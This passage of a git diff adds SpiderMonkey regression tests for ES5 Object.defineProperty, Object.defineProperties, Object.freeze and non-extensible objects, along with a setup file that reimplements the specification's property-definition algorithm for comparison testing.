+assertEq(o.foo, 17);
+o.foo = 42;
+assertEq(called, true);
+
+/*
+ * XXX need tests for Object.defineProperty(array, "length", { ... }) when we
+ * support it!
+ */
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-new-definition.js b/js/src/tests/ecma_5/Object/15.2.3.6-new-definition.js
new file mode 100644
index 000000000..ce5c38839
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-new-definition.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes): new definition';
+
+print(BUGNUMBER + ": " + summary);
+
+load("ecma_5/Object/defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runNotPresentTests();
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-1-of-4.js b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-1-of-4.js
new file mode 100644
index 000000000..55c11744d
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-1-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 1, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+load("ecma_5/Object/defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-2-of-4.js b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-2-of-4.js
new file mode 100644
index 000000000..ef74b5582
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-2-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 2, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+load("ecma_5/Object/defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-3-of-4.js b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-3-of-4.js
new file mode 100644
index 000000000..b0c58f3c2
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-3-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 3, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+load("ecma_5/Object/defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-4-of-4.js b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-4-of-4.js
new file mode 100644
index 000000000..09994df43
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-redefinition-4-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 4, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+load("ecma_5/Object/defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.7-01.js b/js/src/tests/ecma_5/Object/15.2.3.7-01.js
new file mode 100644
index 000000000..5220e1483
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.7-01.js
@@ -0,0 +1,137 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperties(O, Properties)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq("defineProperties" in Object, true);
+assertEq(Object.defineProperties.length, 2);
+
+var o, props, desc, passed;
+
+o = {};
+props =
+ {
+ a: { value: 17, enumerable: true, configurable: true, writable: true },
+ b: { value: 42, enumerable: false, configurable: false, writable: false }
+ };
+Object.defineProperties(o, props);
+assertEq("a" in o, true);
+assertEq("b" in o, true);
+desc = Object.getOwnPropertyDescriptor(o, "a");
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+assertEq(desc.writable, true);
+desc = Object.getOwnPropertyDescriptor(o, "b");
+assertEq(desc.value, 42);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+props =
+ {
+ c: { value: NaN, enumerable: false, configurable: true, writable: true },
+ b: { value: 44 }
+ };
+var error = "before";
+try
+{
+ Object.defineProperties(o, props);
+ error = "no exception thrown";
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "didn't throw or threw wrongly");
+assertEq("c" in o, true, "new property added");
+assertEq(o.b, 42, "old property value preserved");
+
+function Properties() { }
+Properties.prototype = { b: { value: 42, enumerable: true } };
+props = new Properties();
+Object.defineProperty(props, "a", { enumerable: false });
+o = {};
+Object.defineProperties(o, props);
+assertEq("a" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "a"), undefined,
+ "Object.defineProperties(O, Properties) should only use enumerable " +
+ "properties on Properties");
+assertEq("b" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "b"), undefined,
+ "Object.defineProperties(O, Properties) should only use enumerable " +
+ "properties directly on Properties");
+
+Number.prototype.foo = { value: 17, enumerable: true };
+Boolean.prototype.bar = { value: 8675309, enumerable: true };
+String.prototype.quux = { value: "Are you HAPPY yet?", enumerable: true };
+o = {};
+Object.defineProperties(o, 5); // ToObject only throws for null/undefined
+assertEq("foo" in o, false, "foo is not an enumerable own property");
+Object.defineProperties(o, false);
+assertEq("bar" in o, false, "bar is not an enumerable own property");
+Object.defineProperties(o, "");
+assertEq("quux" in o, false, "quux is not an enumerable own property");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, "1");
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror",
+ "should throw on Properties == '1' due to '1'[0] not being a " +
+ "property descriptor");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, null);
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "should throw on Properties == null");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, undefined);
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "should throw on Properties == undefined");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.9.js b/js/src/tests/ecma_5/Object/15.2.3.9.js
new file mode 100644
index 000000000..c73437fa7
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.9.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Object.freeze */
+
+function getme() { return 42; };
+function setme(x) { };
+
+var properties = { all: { value:1, writable:true, configurable:true, enumerable: true },
+ readOnly: { value:2, writable:false, configurable:true, enumerable: true },
+ nonConfig: { value:3, writable:true, configurable:false, enumerable: true },
+ none: { value:4, writable:false, configurable:false, enumerable: true },
+ getter: { get: getme, configurable:false, enumerable: true },
+ setter: { set: setme, configurable:false, enumerable: true },
+ getandset: { get: getme, set: setme, configurable:false, enumerable: true }
+ };
+var o = Object.defineProperties({}, properties);
+
+Object.freeze(o);
+
+function getPropertyOf(obj) {
+ return function (prop) {
+ return Object.getOwnPropertyDescriptor(obj, prop);
+ };
+};
+
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'all'),
+ { value: 1, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'readOnly'),
+ { value: 2, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'nonConfig'),
+ { value: 3, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'none'),
+ { value: 4, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'getter'),
+ { get: getme, set: (void 0), enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'setter'),
+ { set: setme, get: (void 0), enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'getandset'),
+ { get: getme, set: setme, enumerable:true, configurable:false }),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Object/add-property-non-extensible.js b/js/src/tests/ecma_5/Object/add-property-non-extensible.js
new file mode 100644
index 000000000..2089a5678
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/add-property-non-extensible.js
@@ -0,0 +1,118 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'add-property-non-extensible.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 602144;
+var summary =
+ 'Properly method-compile attempted addition of properties to ' +
+ 'non-extensible objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// No property
+
+var o1 = {};
+for (var i = 0; i < 5; i++)
+ o1.a = 3;
+assertEq(o1.a, 3);
+
+var o2 = Object.preventExtensions({});
+for (var i = 0; i < 5; i++)
+ o2.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o2, "a"), undefined);
+
+var o3 = Object.seal({});
+for (var i = 0; i < 5; i++)
+ o3.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o3, "a"), undefined);
+
+var o4 = Object.freeze({});
+for (var i = 0; i < 5; i++)
+ o4.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o4, "a"), undefined);
+
+
+// Has property
+
+var o5 = { a: 2 };
+for (var i = 0; i < 5; i++)
+ o5.a = 3;
+assertEq(o5.a, 3);
+
+var o6 = Object.preventExtensions({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o6.a = 3;
+assertEq(o6.a, 3);
+
+var o7 = Object.seal({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o7.a = 3;
+assertEq(o7.a, 3);
+
+var o8 = Object.freeze({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o8.a = 3;
+assertEq(o8.a, 2);
+
+
+// Extensible, hit up the prototype chain
+
+var o9 = Object.create({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o9.a = 3;
+assertEq(o9.a, 3);
+
+var o10 = Object.create(Object.preventExtensions({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o10.a = 3;
+assertEq(o10.a, 3);
+
+var o11 = Object.create(Object.seal({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o11.a = 3;
+assertEq(o11.a, 3);
+
+var o12 = Object.create(Object.freeze({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o12.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o12, "a"), undefined);
+
+
+// Not extensible, hit up the prototype chain
+
+var o13 = Object.preventExtensions(Object.create({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o13.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o13, "a"), undefined);
+
+var o14 =
+ Object.preventExtensions(Object.create(Object.preventExtensions({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o14.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o14, "a"), undefined);
+
+var o15 = Object.preventExtensions(Object.create(Object.seal({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o15.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o15, "a"), undefined);
+
+var o16 = Object.preventExtensions(Object.create(Object.freeze({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o16.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o16, "a"), undefined);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/browser.js b/js/src/tests/ecma_5/Object/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/browser.js
diff --git a/js/src/tests/ecma_5/Object/clear-dictionary-accessor-getset.js b/js/src/tests/ecma_5/Object/clear-dictionary-accessor-getset.js
new file mode 100644
index 000000000..f0d9e11ca
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/clear-dictionary-accessor-getset.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "clear-dictionary-accessor-getset.js";
+var BUGNUMBER = 1082662;
+var summary =
+ "Properly handle GC of a dictionary accessor property whose [[Get]] or " +
+ "[[Set]] has been changed to |undefined|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(field)
+{
+ var prop = "[[" + field[0].toUpperCase() + field.substring(1) + "]]";
+ print("Testing for GC crashes after setting " + prop + " to undefined...");
+
+ function inner()
+ {
+ // Create an object with an accessor property.
+ var obj = { x: 42, get y() {}, set y(v) {} };
+
+ // 1) convert it to dictionary mode, in the process 2) creating a new
+ // version of that accessor property whose [[Get]] and [[Set]] are objects
+ // that trigger post barriers.
+ delete obj.x;
+
+ var desc = {};
+ desc[field] = undefined;
+
+ // Overwrite [[field]] with undefined. Note #1 above is necessary so this
+ // is an actual *overwrite*, and not (possibly) a shape-tree fork that
+ // doesn't overwrite.
+ Object.defineProperty(obj, "y", desc);
+
+ }
+
+ inner();
+ gc(); // In unfixed code, this crashes trying to mark a null [[field]].
+}
+
+test("get");
+test("set");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Object/defineProperties-callable-accessor.js b/js/src/tests/ecma_5/Object/defineProperties-callable-accessor.js
new file mode 100644
index 000000000..1e92a2c92
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/defineProperties-callable-accessor.js
@@ -0,0 +1,19 @@
+// ObjectDefineProperties with non callable accessor throws.
+const descriptors = [
+ {get: 1}, {set: 1},
+ {get: []}, {set: []},
+ {get: {}}, {set: {}},
+ {get: new Number}, {set: new Number},
+
+ {get: 1, set: 1},
+ {get: [], set: []},
+ {get: {}, set: {}},
+ {get: new Number, set: new Number},
+];
+
+for (const descriptor of descriptors) {
+ assertThrowsInstanceOf(() => Object.create(null, {x: descriptor}), TypeError);
+ assertThrowsInstanceOf(() => Object.defineProperties({}, {x: descriptor}), TypeError);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Object/defineProperty-setup.js b/js/src/tests/ecma_5/Object/defineProperty-setup.js
new file mode 100644
index 000000000..da6fe8f49
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/defineProperty-setup.js
@@ -0,0 +1,1071 @@
+// |reftest| skip -- not a test.
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq("defineProperty" in Object, true);
+assertEq(Object.defineProperty.length, 3);
+
+/*
+ * Disable an assertion that is pathologically slow given the exhaustiveness of
+ * these tests.
+ */
+if (typeof enableStackWalkingAssertion === "function")
+ enableStackWalkingAssertion(false);
+
+if (!Object.prototype.toSource)
+{
+ Object.defineProperty(Object.prototype, "toSource",
+ {
+ value: function toSource()
+ {
+ if (this instanceof RegExp)
+ {
+ var v = "new RegExp(" + uneval(this.source);
+ var f = (this.multiline ? "m" : "") +
+ (this.global ? "g" : "") +
+ (this.ignoreCase ? "i" : "");
+ return v + (f ? ", '" + f + "'" : "") + ")";
+ }
+ return JSON.stringify(this);
+ },
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+}
+if (!("uneval" in this))
+{
+ Object.defineProperty(this, "uneval",
+ {
+ value: function uneval(v)
+ {
+ if (v === null)
+ return "null";
+ if (typeof v === "object")
+ return v.toSource();
+ if (typeof v === "string")
+ {
+ v = JSON.stringify({v:v});
+ return v.substring(5, v.length - 1);
+ }
+ return "" + v;
+ },
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+}
+
+// reimplemented for the benefit of engines which don't have this helper
+function assertEq(v1, v2, m)
+{
+ if (!SameValue(v1, v2))
+ {
+ throw "assertion failed: " +
+ "got " + uneval(v1) + ", expected " + uneval(v2) +
+ (m ? ": " + m : "");
+ }
+}
+
+function SameValue(v1, v2)
+{
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+}
+
+function PropertyDescriptor(pd)
+{
+ if (pd)
+ this.update(pd);
+}
+PropertyDescriptor.prototype.update = function update(pd)
+{
+ if ("get" in pd)
+ this.get = pd.get;
+ if ("set" in pd)
+ this.set = pd.set;
+ if ("configurable" in pd)
+ this.configurable = pd.configurable;
+ if ("writable" in pd)
+ this.writable = pd.writable;
+ if ("enumerable" in pd)
+ this.enumerable = pd.enumerable;
+ if ("value" in pd)
+ this.value = pd.value;
+};
+PropertyDescriptor.prototype.convertToDataDescriptor = function convertToDataDescriptor()
+{
+ delete this.get;
+ delete this.set;
+ this.writable = false;
+ this.value = undefined;
+};
+PropertyDescriptor.prototype.convertToAccessorDescriptor = function convertToAccessorDescriptor()
+{
+ delete this.writable;
+ delete this.value;
+ this.get = undefined;
+ this.set = undefined;
+};
+
+function compareDescriptors(d1, d2)
+{
+ if (d1 === undefined)
+ {
+ assertEq(d2, undefined, "non-descriptors");
+ return;
+ }
+ if (d2 === undefined)
+ {
+ assertEq(true, false, "descriptor-equality mismatch: " + uneval(d1) + ", " + uneval(d2));
+ return;
+ }
+
+ var props = ["value", "get", "set", "enumerable", "configurable", "writable"];
+ for (var i = 0, sz = props.length; i < sz; i++)
+ {
+ var p = props[i];
+ assertEq(p in d1, p in d2, p + " different in d1/d2");
+ if (p in d1)
+ assertEq(d1[p], d2[p], p);
+ }
+}
+
+function examine(desc, field, allowDefault)
+{
+ if (field in desc)
+ return desc[field];
+ assertEq(allowDefault, true, "reimplementation error");
+ switch (field)
+ {
+ case "value":
+ case "get":
+ case "set":
+ return undefined;
+ case "writable":
+ case "enumerable":
+ case "configurable":
+ return false;
+ default:
+ assertEq(true, false, "bad field name: " + field);
+ }
+}
+
+function IsAccessorDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!("get" in desc) && !("set" in desc))
+ return false;
+ return true;
+}
+
+function IsDataDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!("value" in desc) && !("writable" in desc))
+ return false;
+ return true;
+}
+
+function IsGenericDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!IsAccessorDescriptor(desc) && !IsDataDescriptor(desc))
+ return true;
+ return false;
+}
+
+
+
+function CustomObject()
+{
+ this.properties = {};
+ this.extensible = true;
+}
+CustomObject.prototype =
+{
+ _reject: function _reject(throwing, msg)
+ {
+ if (throwing)
+ throw new TypeError(msg + "; rejected!");
+ return false;
+ },
+ defineOwnProperty: function defineOwnProperty(propname, desc, throwing)
+ {
+ assertEq(typeof propname, "string", "non-string propname");
+
+ // Step 1.
+ var current = this.properties[propname];
+
+ // Step 2.
+ var extensible = this.extensible;
+
+ // Step 3.
+ if (current === undefined && !extensible)
+ return this._reject(throwing, "object not extensible");
+
+ // Step 4.
+ if (current === undefined && extensible)
+ {
+ var p;
+ // Step 4(a).
+ if (IsGenericDescriptor(desc) || IsDataDescriptor(desc))
+ {
+ p = new PropertyDescriptor();
+ p.value = examine(desc, "value", true);
+ p.writable = examine(desc, "writable", true);
+ p.enumerable = examine(desc, "enumerable", true);
+ p.configurable = examine(desc, "configurable", true);
+ }
+ // Step 4(b).
+ else
+ {
+ p = new PropertyDescriptor();
+ p.get = examine(desc, "get", true);
+ p.set = examine(desc, "set", true);
+ p.enumerable = examine(desc, "enumerable", true);
+ p.configurable = examine(desc, "configurable", true);
+ }
+
+ this.properties[propname] = p;
+
+ // Step 4(c).
+ return true;
+ }
+
+ // Step 5.
+ if (!("value" in desc) && !("get" in desc) && !("set" in desc) &&
+ !("writable" in desc) && !("enumerable" in desc) &&
+ !("configurable" in desc))
+ {
+ return;
+ }
+
+ // Step 6.
+ do
+ {
+ if ("value" in desc)
+ {
+ if (!("value" in current) || !SameValue(desc.value, current.value))
+ break;
+ }
+ if ("get" in desc)
+ {
+ if (!("get" in current) || !SameValue(desc.get, current.get))
+ break;
+ }
+ if ("set" in desc)
+ {
+ if (!("set" in current) || !SameValue(desc.set, current.set))
+ break;
+ }
+ if ("writable" in desc)
+ {
+ if (!("writable" in current) ||
+ !SameValue(desc.writable, current.writable))
+ {
+ break;
+ }
+ }
+ if ("enumerable" in desc)
+ {
+ if (!("enumerable" in current) ||
+ !SameValue(desc.enumerable, current.enumerable))
+ {
+ break;
+ }
+ }
+ if ("configurable" in desc)
+ {
+ if (!("configurable" in current) ||
+ !SameValue(desc.configurable, current.configurable))
+ {
+ break;
+ }
+ }
+
+ // all fields in desc also in current, with the same values
+ return true;
+ }
+ while (false);
+
+ // Step 7.
+ if (!examine(current, "configurable"))
+ {
+ if ("configurable" in desc && examine(desc, "configurable"))
+ return this._reject(throwing, "can't make configurable again");
+ if ("enumerable" in desc &&
+ examine(current, "enumerable") !== examine(desc, "enumerable"))
+ {
+ return this._reject(throwing, "can't change enumerability");
+ }
+ }
+
+ // Step 8.
+ if (IsGenericDescriptor(desc))
+ {
+ // do nothing
+ }
+ // Step 9.
+ else if (IsDataDescriptor(current) !== IsDataDescriptor(desc))
+ {
+ // Step 9(a).
+ if (!examine(current, "configurable"))
+ return this._reject(throwing, "can't change unconfigurable descriptor's type");
+ // Step 9(b).
+ if (IsDataDescriptor(current))
+ current.convertToAccessorDescriptor();
+ // Step 9(c).
+ else
+ current.convertToDataDescriptor();
+ }
+ // Step 10.
+ else if (IsDataDescriptor(current) && IsDataDescriptor(desc))
+ {
+ // Step 10(a)
+ if (!examine(current, "configurable"))
+ {
+ // Step 10(a).i.
+ if (!examine(current, "writable") &&
+ "writable" in desc && examine(desc, "writable"))
+ {
+ return this._reject(throwing, "can't make data property writable again");
+ }
+ // Step 10(a).ii.
+ if (!examine(current, "writable"))
+ {
+ if ("value" in desc &&
+ !SameValue(examine(desc, "value"), examine(current, "value")))
+ {
+ return this._reject(throwing, "can't change value if not writable");
+ }
+ }
+ }
+ // Step 10(b).
+ else
+ {
+ assertEq(examine(current, "configurable"), true,
+ "spec bug step 10(b)");
+ }
+ }
+ // Step 11.
+ else
+ {
+ assertEq(IsAccessorDescriptor(current) && IsAccessorDescriptor(desc),
+ true,
+ "spec bug");
+
+ // Step 11(a).
+ if (!examine(current, "configurable"))
+ {
+ // Step 11(a).i.
+ if ("set" in desc &&
+ !SameValue(examine(desc, "set"), examine(current, "set")))
+ {
+ return this._reject(throwing, "can't change setter if not configurable");
+ }
+ // Step 11(a).ii.
+ if ("get" in desc &&
+ !SameValue(examine(desc, "get"), examine(current, "get")))
+ {
+ return this._reject(throwing, "can't change getter if not configurable");
+ }
+ }
+ }
+
+ // Step 12.
+ current.update(desc);
+
+ // Step 13.
+ return true;
+ }
+};
+
+function IsCallable(v)
+{
+ return typeof v === "undefined" || typeof v === "function";
+}
+
+var NativeTest =
+ {
+ newObject: function newObject()
+ {
+ return {};
+ },
+ defineProperty: function defineProperty(obj, propname, propdesc)
+ {
+ Object.defineProperty(obj, propname, propdesc);
+ },
+ getDescriptor: function getDescriptor(obj, propname)
+ {
+ return Object.getOwnPropertyDescriptor(obj, propname);
+ }
+ };
+
+var ReimplTest =
+ {
+ newObject: function newObject()
+ {
+ return new CustomObject();
+ },
+ defineProperty: function defineProperty(obj, propname, propdesc)
+ {
+ assertEq(obj instanceof CustomObject, true, "obj not instanceof CustomObject");
+ if ("get" in propdesc || "set" in propdesc)
+ {
+ if ("value" in propdesc || "writable" in propdesc)
+ throw new TypeError("get/set and value/writable");
+ if (!IsCallable(propdesc.get))
+ throw new TypeError("get defined, uncallable");
+ if (!IsCallable(propdesc.set))
+ throw new TypeError("set defined, uncallable");
+ }
+ return obj.defineOwnProperty(propname, propdesc, true);
+ },
+ getDescriptor: function getDescriptor(obj, propname)
+ {
+ if (!(propname in obj.properties))
+ return undefined;
+
+ return new PropertyDescriptor(obj.properties[propname]);
+ }
+ };
+
+var JSVAL_INT_MAX = Math.pow(2, 30) - 1;
+var JSVAL_INT_MIN = -Math.pow(2, 30);
+
+
+function isValidDescriptor(propdesc)
+{
+ if ("get" in propdesc || "set" in propdesc)
+ {
+ if ("value" in propdesc || "writable" in propdesc)
+ return false;
+
+ // We permit null here simply because this test's author believes the
+ // implementation may sometime be susceptible to making mistakes in this
+ // regard and would prefer to be cautious.
+ if (propdesc.get !== null && propdesc.get !== undefined && !IsCallable(propdesc.get))
+ return false;
+ if (propdesc.set !== null && propdesc.set !== undefined && !IsCallable(propdesc.set))
+ return false;
+ }
+
+ return true;
+}
+
+
+var OMIT = {};
+var VALUES =
+ [-Infinity, JSVAL_INT_MIN, -0, +0, 1.5, JSVAL_INT_MAX, Infinity,
+ NaN, "foo", "bar", null, undefined, true, false, {}, /a/, OMIT];
+var GETS =
+ [undefined, function get1() { return 1; }, function get2() { return 2; },
+ null, 5, OMIT];
+var SETS =
+ [undefined, function set1() { return 1; }, function set2() { return 2; },
+ null, 5, OMIT];
+var ENUMERABLES = [true, false, OMIT];
+var CONFIGURABLES = [true, false, OMIT];
+var WRITABLES = [true, false, OMIT];
+
+function mapTestDescriptors(filter)
+{
+ var descs = [];
+ var desc = {};
+
+ function put(field, value)
+ {
+ if (value !== OMIT)
+ desc[field] = value;
+ }
+
+ VALUES.forEach(function(value)
+ {
+ GETS.forEach(function(get)
+ {
+ SETS.forEach(function(set)
+ {
+ ENUMERABLES.forEach(function(enumerable)
+ {
+ CONFIGURABLES.forEach(function(configurable)
+ {
+ WRITABLES.forEach(function(writable)
+ {
+ desc = {};
+ put("value", value);
+ put("get", get);
+ put("set", set);
+ put("enumerable", enumerable);
+ put("configurable", configurable);
